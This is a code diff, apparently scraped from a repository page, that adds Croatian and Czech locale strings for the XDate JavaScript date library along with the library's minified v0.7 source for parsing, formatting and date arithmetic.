dayNames: ["Nedjelja","Ponedjeljak","Utorak","Srijeda","Četvrtak","Petak","Subota"],
|
||||
dayNamesShort: ["Ned","Pon","Uto","Sri","Čet","Pet","Sub"],
|
||||
dateFormat: "dddd, d. MMMM yyyy.",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "Potvrdi",
|
||||
cancel: "Prekid"
|
||||
};
|
||||
XDate.locales['cs'] = {
|
||||
monthNames: ["ledna","února","března","dubna","května","června","července","srpna","září","října","listopadu","prosince"],
|
||||
monthNamesShort: ["Led","Úno","Bře","Dub","Kvě","Čer","Červ","Srp","Zář","Říj","Lis","Pro"],
|
||||
dayNames: ["Neděle","Pondělí","Úterý","Středa","Čtvrtek","Pátek","Sobota"],
|
||||
dayNamesShort: ["Ne","Po","Út","St","Čt","Pá","So"],
|
||||
dateFormat: "dddd, d. MMMM yyyy",
|
||||
dateFormatMonth: "MMMM yyyy",
|
||||
dateFormatYear: "yyyy",
|
||||
ok: "OK",
|
||||
cancel: "Zrušit"
|
||||
};
|
||||
@@ -0,0 +1,18 @@
|
||||
/*
|
||||
XDate v0.7
|
||||
Docs & Licensing: http://arshaw.com/xdate/
|
||||
*/
|
||||
var XDate=function(g,m,A,p){function f(){var a=this instanceof f?this:new f,c=arguments,b=c.length,d;typeof c[b-1]=="boolean"&&(d=c[--b],c=q(c,0,b));if(b)if(b==1)if(b=c[0],b instanceof g||typeof b=="number")a[0]=new g(+b);else if(b instanceof f){var c=a,h=new g(+b[0]);if(l(b))h.toString=w;c[0]=h}else{if(typeof b=="string"){a[0]=new g(0);a:{for(var c=b,b=d||!1,h=f.parsers,r=0,e;r<h.length;r++)if(e=h[r](c,b,a)){a=e;break a}a[0]=new g(c)}}}else a[0]=new g(n.apply(g,c)),d||(a[0]=s(a[0]));else a[0]=new g;
|
||||
typeof d=="boolean"&&B(a,d);return a}function l(a){return a[0].toString===w}function B(a,c,b){if(c){if(!l(a))b&&(a[0]=new g(n(a[0].getFullYear(),a[0].getMonth(),a[0].getDate(),a[0].getHours(),a[0].getMinutes(),a[0].getSeconds(),a[0].getMilliseconds()))),a[0].toString=w}else l(a)&&(a[0]=b?s(a[0]):new g(+a[0]));return a}function C(a,c,b,d,h){var e=k(j,a[0],h),a=k(D,a[0],h),h=c==1?b%12:e(1),f=!1;d.length==2&&typeof d[1]=="boolean"&&(f=d[1],d=[b]);a(c,d);f&&e(1)!=h&&(a(1,[e(1)-1]),a(2,[E(e(0),e(1))]))}
|
||||
function F(a,c,b,d){var b=Number(b),h=m.floor(b);a["set"+o[c]](a["get"+o[c]]()+h,d||!1);h!=b&&c<6&&F(a,c+1,(b-h)*G[c],d)}function H(a,c,b){var a=a.clone().setUTCMode(!0,!0),c=f(c).setUTCMode(!0,!0),d=0;if(b==0||b==1){for(var h=6;h>=b;h--)d/=G[h],d+=j(c,!1,h)-j(a,!1,h);b==1&&(d+=(c.getFullYear()-a.getFullYear())*12)}else b==2?(b=a.toDate().setUTCHours(0,0,0,0),d=c.toDate().setUTCHours(0,0,0,0),d=m.round((d-b)/864E5)+(c-d-(a-b))/864E5):d=(c-a)/[36E5,6E4,1E3,1][b-3];return d}function t(a){var c=a(0),
|
||||
b=a(1),a=a(2),b=new g(n(c,b,a)),d=u(c),a=d;b<d?a=u(c-1):(c=u(c+1),b>=c&&(a=c));return m.floor(m.round((b-a)/864E5)/7)+1}function u(a){a=new g(n(a,0,4));a.setUTCDate(a.getUTCDate()-(a.getUTCDay()+6)%7);return a}function I(a,c,b,d){var h=k(j,a,d),e=k(D,a,d),b=u(b===p?h(0):b);d||(b=s(b));a.setTime(+b);e(2,[h(2)+(c-1)*7])}function J(a,c,b,d,e){var r=f.locales,g=r[f.defaultLocale]||{},i=k(j,a,e),b=(typeof b=="string"?r[b]:b)||{};return x(a,c,function(a){if(d)for(var b=(a==7?2:a)-1;b>=0;b--)d.push(i(b));
|
||||
return i(a)},function(a){return b[a]||g[a]},e)}function x(a,c,b,d,e){for(var f,g,i="";f=c.match(M);){i+=c.substr(0,f.index);if(f[1]){g=i;for(var i=a,j=f[1],l=b,m=d,n=e,k=j.length,o=void 0,q="";k>0;)o=N(i,j.substr(0,k),l,m,n),o!==p?(q+=o,j=j.substr(k),k=j.length):k--;i=g+(q+j)}else f[3]?(g=x(a,f[4],b,d,e),parseInt(g.replace(/\D/g,""),10)&&(i+=g)):i+=f[7]||"'";c=c.substr(f.index+f[0].length)}return i+c}function N(a,c,b,d,e){var g=f.formatters[c];if(typeof g=="string")return x(a,g,b,d,e);else if(typeof g==
|
||||
"function")return g(a,e||!1,d);switch(c){case "fff":return i(b(6),3);case "s":return b(5);case "ss":return i(b(5));case "m":return b(4);case "mm":return i(b(4));case "h":return b(3)%12||12;case "hh":return i(b(3)%12||12);case "H":return b(3);case "HH":return i(b(3));case "d":return b(2);case "dd":return i(b(2));case "ddd":return d("dayNamesShort")[b(7)]||"";case "dddd":return d("dayNames")[b(7)]||"";case "M":return b(1)+1;case "MM":return i(b(1)+1);case "MMM":return d("monthNamesShort")[b(1)]||"";
|
||||
case "MMMM":return d("monthNames")[b(1)]||"";case "yy":return(b(0)+"").substring(2);case "yyyy":return b(0);case "t":return v(b,d).substr(0,1).toLowerCase();case "tt":return v(b,d).toLowerCase();case "T":return v(b,d).substr(0,1);case "TT":return v(b,d);case "z":case "zz":case "zzz":return e?c="Z":(d=a.getTimezoneOffset(),a=d<0?"+":"-",b=m.floor(m.abs(d)/60),d=m.abs(d)%60,e=b,c=="zz"?e=i(b):c=="zzz"&&(e=i(b)+":"+i(d)),c=a+e),c;case "w":return t(b);case "ww":return i(t(b));case "S":return c=b(2),c>
|
||||
10&&c<20?"th":["st","nd","rd"][c%10-1]||"th"}}function v(a,c){return a(3)<12?c("amDesignator"):c("pmDesignator")}function y(a){return!isNaN(+a[0])}function j(a,c,b){return a["get"+(c?"UTC":"")+o[b]]()}function D(a,c,b,d){a["set"+(c?"UTC":"")+o[b]].apply(a,d)}function s(a){return new g(a.getUTCFullYear(),a.getUTCMonth(),a.getUTCDate(),a.getUTCHours(),a.getUTCMinutes(),a.getUTCSeconds(),a.getUTCMilliseconds())}function E(a,c){return 32-(new g(n(a,c,32))).getUTCDate()}function z(a){return function(){return a.apply(p,
|
||||
[this].concat(q(arguments)))}}function k(a){var c=q(arguments,1);return function(){return a.apply(p,c.concat(q(arguments)))}}function q(a,c,b){return A.prototype.slice.call(a,c||0,b===p?a.length:b)}function K(a,c){for(var b=0;b<a.length;b++)c(a[b],b)}function i(a,c){c=c||2;for(a+="";a.length<c;)a="0"+a;return a}var o="FullYear,Month,Date,Hours,Minutes,Seconds,Milliseconds,Day,Year".split(","),L=["Years","Months","Days"],G=[12,31,24,60,60,1E3,1],M=/(([a-zA-Z])\2*)|(\((('.*?'|\(.*?\)|.)*?)\))|('(.*?)')/,
|
||||
n=g.UTC,w=g.prototype.toUTCString,e=f.prototype;e.length=1;e.splice=A.prototype.splice;e.getUTCMode=z(l);e.setUTCMode=z(B);e.getTimezoneOffset=function(){return l(this)?0:this[0].getTimezoneOffset()};K(o,function(a,c){e["get"+a]=function(){return j(this[0],l(this),c)};c!=8&&(e["getUTC"+a]=function(){return j(this[0],!0,c)});c!=7&&(e["set"+a]=function(a){C(this,c,a,arguments,l(this));return this},c!=8&&(e["setUTC"+a]=function(a){C(this,c,a,arguments,!0);return this},e["add"+(L[c]||a)]=function(a,d){F(this,
|
||||
c,a,d);return this},e["diff"+(L[c]||a)]=function(a){return H(this,a,c)}))});e.getWeek=function(){return t(k(j,this,!1))};e.getUTCWeek=function(){return t(k(j,this,!0))};e.setWeek=function(a,c){I(this,a,c,!1);return this};e.setUTCWeek=function(a,c){I(this,a,c,!0);return this};e.addWeeks=function(a){return this.addDays(Number(a)*7)};e.diffWeeks=function(a){return H(this,a,2)/7};f.parsers=[function(a,c,b){if(a=a.match(/^(\d{4})(-(\d{2})(-(\d{2})([T ](\d{2}):(\d{2})(:(\d{2})(\.(\d+))?)?(Z|(([-+])(\d{2})(:?(\d{2}))?))?)?)?)?$/)){var d=
|
||||
new g(n(a[1],a[3]?a[3]-1:0,a[5]||1,a[7]||0,a[8]||0,a[10]||0,a[12]?Number("0."+a[12])*1E3:0));a[13]?a[14]&&d.setUTCMinutes(d.getUTCMinutes()+(a[15]=="-"?1:-1)*(Number(a[16])*60+(a[18]?Number(a[18]):0))):c||(d=s(d));return b.setTime(+d)}}];f.parse=function(a){return+f(""+a)};e.toString=function(a,c,b){return a===p||!y(this)?this[0].toString():J(this,a,c,b,l(this))};e.toUTCString=e.toGMTString=function(a,c,b){return a===p||!y(this)?this[0].toUTCString():J(this,a,c,b,!0)};e.toISOString=function(){return this.toUTCString("yyyy-MM-dd'T'HH:mm:ss(.fff)zzz")};
|
||||
f.defaultLocale="";f.locales={"":{monthNames:"January,February,March,April,May,June,July,August,September,October,November,December".split(","),monthNamesShort:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec".split(","),dayNames:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday".split(","),dayNamesShort:"Sun,Mon,Tue,Wed,Thu,Fri,Sat".split(","),amDesignator:"AM",pmDesignator:"PM"}};f.formatters={i:"yyyy-MM-dd'T'HH:mm:ss(.fff)",u:"yyyy-MM-dd'T'HH:mm:ss(.fff)zzz"};K("getTime,valueOf,toDateString,toTimeString,toLocaleString,toLocaleDateString,toLocaleTimeString,toJSON".split(","),
|
||||
function(a){e[a]=function(){return this[0][a]()}});e.setTime=function(a){this[0].setTime(a);return this};e.valid=z(y);e.clone=function(){return new f(this)};e.clearTime=function(){return this.setHours(0,0,0,0)};e.toDate=function(){return new g(+this[0])};f.now=function(){return+new g};f.today=function(){return(new f).clearTime()};f.UTC=n;f.getDaysInMonth=E;if(typeof module!=="undefined"&&module.exports)module.exports=f;return f}(Date,Math,Array);
|
||||
Reference in New Issue
Block a user